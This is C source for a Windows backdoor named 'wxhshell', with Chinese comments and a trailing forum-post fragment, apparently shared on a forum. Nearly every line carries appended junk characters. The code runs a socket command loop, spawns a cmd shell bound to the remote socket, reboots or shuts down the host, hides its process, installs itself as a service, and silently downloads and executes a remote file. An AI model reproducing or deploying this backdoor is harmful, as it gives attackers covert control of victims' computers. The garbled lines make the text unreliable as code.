Ki8]+W37  
    switch(cmd[0]) { `Dn"<-9:  
  4ox[,  
  // 帮助 2v;F@fUB.  
  case '?': { [1 ?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,[Bv\4Ah  
    break; :*/'W5iM  
  } a$~pAy5C  
  // 安装 Z0(}doh  
  case 'i': { Hxw 7Q?F  
    if(Install()) j$he5^GC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;QiSz=DyA  
    else k9'`<82Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |KC!6<}T~9  
    break; Pd~{XM,yfW  
    } C `>1x`n  
  // 卸载 S(c&XJR  
  case 'r': { !^,<nP  
    if(Uninstall()) BnB]]<gO"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t3w:!' Ato  
    else 5Y#W$Fx($R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  $O)fHD'  
    break; o-m9}pV  
    } N N1(f  
  // 显示 wxhshell 所在路径 V1 H3}  
  case 'p': { 5d4/}o}%"  
    char svExeFile[MAX_PATH]; &* Aems{-  
    strcpy(svExeFile,"\n\r"); :'F7^N3;H  
      strcat(svExeFile,ExeFile); $4&%<'l3I  
        send(wsh,svExeFile,strlen(svExeFile),0); c(R=f +  
    break; k4AF .U`I  
    } (PM!{u=  
  // 重启  MoFAQe  
  case 'b': { tr<iFT}C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?Ji nX'z  
    if(Boot(REBOOT)) qi&;2Yv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  3g#  
    else { BbV@ziL  
    closesocket(wsh); d7*fP S  
    ExitThread(0); Rl%?c5U/$  
    } y\M Kd[G7  
    break; "P@jr{zvMd  
    } Cd"cU~HAB  
  // 关机 ;ye5HlH}.  
  case 'd': { &`9p.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lo!.%PP|  
    if(Boot(SHUTDOWN)) 9CxFj)#5F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X }W4dpU,  
    else { *Bse3%-v  
    closesocket(wsh); _!} L\E~  
    ExitThread(0); !97k  
    } TrEo5H;  
    break; Hkv4^|  
    } .wb[cCUQ  
  // 获取shell bS!4vc1`2  
  case 's': { )5O E~}>  
    CmdShell(wsh); @rV|7%u  
    closesocket(wsh); SdJGhU  
    ExitThread(0); 9 :ubPqt  
    break; ! /^Jma7n  
  } mF@)l]UZ'  
  // 退出 GjfPba4>  
  case 'x': { T"tR*2HwSd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); REj<2Lo  
    CloseIt(wsh); MKr)6PG,  
    break; 0[O."9  
    } b":3J)Y6.  
  // 离开 Si:$zGL$(  
  case 'q': { G|h@O'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *MG*]\D  
    closesocket(wsh); 5r-OE-U{  
    WSACleanup(); JSAbh\Mq6  
    exit(1); hbOyrjan x  
    break; NhgzU+)+  
        } TGxmc37?  
  } )yj:P  
  } fGz++;b<S  
:9O"?FE  
  // 提示信息 `/4 R$E{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DA(ur'D  
} dYn<L/#  
  } *wd@YMOP  
xaSg'8-  
  return; .Z0$KQ'iy  
} _Z>I"m  
{j!jm5  
// shell模块句柄 ?e. Ge0&  
int CmdShell(SOCKET sock) 1>pFUf|cV  
{ 43HZ)3!me  
STARTUPINFO si; &l0-0 T>  
ZeroMemory(&si,sizeof(si)); FB\lUO)U\c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; us0{y7(p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0&@pD`K e  
PROCESS_INFORMATION ProcessInfo; l5*sCp*Z  
char cmdline[]="cmd"; 6HK dBW$/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =rB=! ;  
  return 0; R'Uw17I  
} eM1=r:jgE  
\{RMj"w:  
// 自身启动模式 R=ipK63  
int StartFromService(void) 4L`<xX;:{  
{ v[*&@aW0n  
typedef struct }nO[;2Na  
{ M#?^uu'  
  DWORD ExitStatus; p3L0'rY|+  
  DWORD PebBaseAddress; J,&B   
  DWORD AffinityMask; ^G*zFqa+`  
  DWORD BasePriority; 9td[^EB#(h  
  ULONG UniqueProcessId; \GFFPCi4 D  
  ULONG InheritedFromUniqueProcessId; j/Dc';,d.(  
}   PROCESS_BASIC_INFORMATION; 5J1q]^  
M;$LB@h  
PROCNTQSIP NtQueryInformationProcess; TA"4yri=7x  
kR1dk4I4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K@0/iWm*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uh8+Y%V p  
1yg5d9  
  HANDLE             hProcess; l[cBDNlrC;  
  PROCESS_BASIC_INFORMATION pbi; KBO{ g:"  
=ll{M{0Q]!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hHoc>S6^M  
  if(NULL == hInst ) return 0; +,H6)'#Z  
OfAh? ^R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d ~`_;.z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]JUb;B;Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D |lm,  
S7A[HG;  
  if (!NtQueryInformationProcess) return 0; .bT+#x  
YM(` E9{h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M.(shIu!+  
  if(!hProcess) return 0; 5IsRIz[`TK  
N)&(&2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,;)1|-^nu  
+I9+L6>UR  
  CloseHandle(hProcess); 4NN81~v 4  
\kQ@G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4YmN3i  
if(hProcess==NULL) return 0; R DAihq  
{TWgR2?{C  
HMODULE hMod; R=/6bR57  
char procName[255]; ;Bs^+R7  
unsigned long cbNeeded; 3H'+7[~qH  
5YQq*$|'+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qOi3`6LCV  
4wa8Vw`  
  CloseHandle(hProcess); bktw?{h  
tK$x=9M  
if(strstr(procName,"services")) return 1; // 以服务启动 J(s%"d  
51Nh"JTy  
  return 0; // 注册表启动 SjZ?keKZ  
} _]Ei,Ua  
J6s55 v  
// 主模块 potb6jc?  
int StartWxhshell(LPSTR lpCmdLine) 5ZPe=SQ{  
{ ;44?`[oP  
  SOCKET wsl; #3L=\j[ y  
BOOL val=TRUE; }"{NW!RfP  
  int port=0; cHG>iW9C  
  struct sockaddr_in door; ti)4J2c,8  
rf%NfU  
  if(wscfg.ws_autoins) Install(); v.aSf`K  
`c-(1 ;Jb  
port=atoi(lpCmdLine); ~5f|L(ODX  
5X'com?T  
if(port<=0) port=wscfg.ws_port; 2qY+-yOEt  
\qU.?V[2  
  WSADATA data;  B3Yj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o3mxtE]  
)%}?p2.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q%AD6G(7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gkN|3^  
  door.sin_family = AF_INET; ];|;")#=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BU|bo")  
  door.sin_port = htons(port); `T;M=S^y*E  
NVFgRJ&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <XfCQq/  
closesocket(wsl); 4*<27  
return 1; A^a9,T  
} 1Xv- e8M  
/^ d!$v  
  if(listen(wsl,2) == INVALID_SOCKET) { #&hu-gMV  
closesocket(wsl); ;zbF~5e  
return 1; F>F&+63Q-  
} f17pwJ~=  
  Wxhshell(wsl); N8Mq0Ck{$  
  WSACleanup(); +QqEUf<U*,  
x7s75  
return 0; $jDp ^ -  
 ?2g\y@  
} CDz-IQi  
aXSTA ,%  
// 以NT服务方式启动 wN])"bmB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z~.3)6,z  
{ `GG PkTN  
DWORD   status = 0; U =()T}b>  
  DWORD   specificError = 0xfffffff; &UWSf  
)eFq0+6*)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^c9~~m16+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *d,u)l :S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9tnW:Nw~  
  serviceStatus.dwWin32ExitCode     = 0; D;V FM P  
  serviceStatus.dwServiceSpecificExitCode = 0; =a_B'^`L  
  serviceStatus.dwCheckPoint       = 0; w:}RS.AK  
  serviceStatus.dwWaitHint       = 0; 8#Q=CTjF  
iCouGd}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =;1MpD  
  if (hServiceStatusHandle==0) return; ^[d|^fRH Q  
e/?>6'6 5  
status = GetLastError(); jocu=Se@  
  if (status!=NO_ERROR) 4Qr16,Us  
{ GlDl0P,*r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vM}oxhQ$n  
    serviceStatus.dwCheckPoint       = 0; !5~{?sr>  
    serviceStatus.dwWaitHint       = 0; 6m$,t-f0b  
    serviceStatus.dwWin32ExitCode     = status; nl7=Nhh  
    serviceStatus.dwServiceSpecificExitCode = specificError; !V =s^8nj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 07T"alXf:A  
    return; 2<aBUGA  
  } D/CSR=b  
/^E2BRI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;b[% L&  
  serviceStatus.dwCheckPoint       = 0; ~CQYF,[Th  
  serviceStatus.dwWaitHint       = 0; }5RCks;)*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,R j{^-k  
} *Mt's[8  
J`ia6fy.I  
// 处理NT服务事件,比如:启动、停止 +G3&{#D ?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1RtbQ{2F;  
{ a& Ti44a[  
switch(fdwControl) rZDmZm?=  
{ ,$,6%"'"  
case SERVICE_CONTROL_STOP: 29?{QJb  
  serviceStatus.dwWin32ExitCode = 0; /x6,"M[97  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N U*6MT4  
  serviceStatus.dwCheckPoint   = 0; 6'e}!O  
  serviceStatus.dwWaitHint     = 0; "%aJ 'l2  
  { m~fA=#l l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7P`|wNq  
  } K h}Oiw  
  return; b7It8  
case SERVICE_CONTROL_PAUSE: ,y[wS5li  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +8FlDiP  
  break; s|U=_,.  
case SERVICE_CONTROL_CONTINUE: ?~e 8:/@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _|x b)_  
  break; 9=D\xBd|w  
case SERVICE_CONTROL_INTERROGATE: pJ6Z/3]  
  break; a;Q6S  
}; t)n!];  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eI@LVi6<b  
} R=IZFwr  
;Cdrjx  
// 标准应用程序主函数 slV+2b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C@` eYi  
{ ^D(N_va<  
,C88%k  
// 获取操作系统版本 3,8>\yf`  
OsIsNt=GetOsVer(); 5-Vdq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?Sj3-*/?  
SU.T0>w  
  // 从命令行安装 Si#b"ls'  
  if(strpbrk(lpCmdLine,"iI")) Install(); (~P b,Q  
|?CR|xqT  
  // 下载执行文件 !M&L<0b:7e  
if(wscfg.ws_downexe) { cn$E?&-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \4q% n  
  WinExec(wscfg.ws_filenam,SW_HIDE); (yv&&Jc  
} O_#Ag K<A  
RLN>*X  
if(!OsIsNt) { Gb6t`dSzz  
// 如果时win9x,隐藏进程并且设置为注册表启动 }g:y!p k  
HideProc(); nz:I\yA  
StartWxhshell(lpCmdLine); `<Xq@\H  
} #`5{?2gS9  
else Ey$J.qw3  
  if(StartFromService()) j4L ) D  
  // 以服务方式启动 f%0^89)  
  StartServiceCtrlDispatcher(DispatchTable); "VxZnT  
else ,[}5@cS  
  // 普通方式启动 Kd8V,teH  
  StartWxhshell(lpCmdLine); R9o3T)9V  
#EiOC.A=  
return 0; [ Y_6PR  
}
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只看该作者 1 发表于: 2006-10-10
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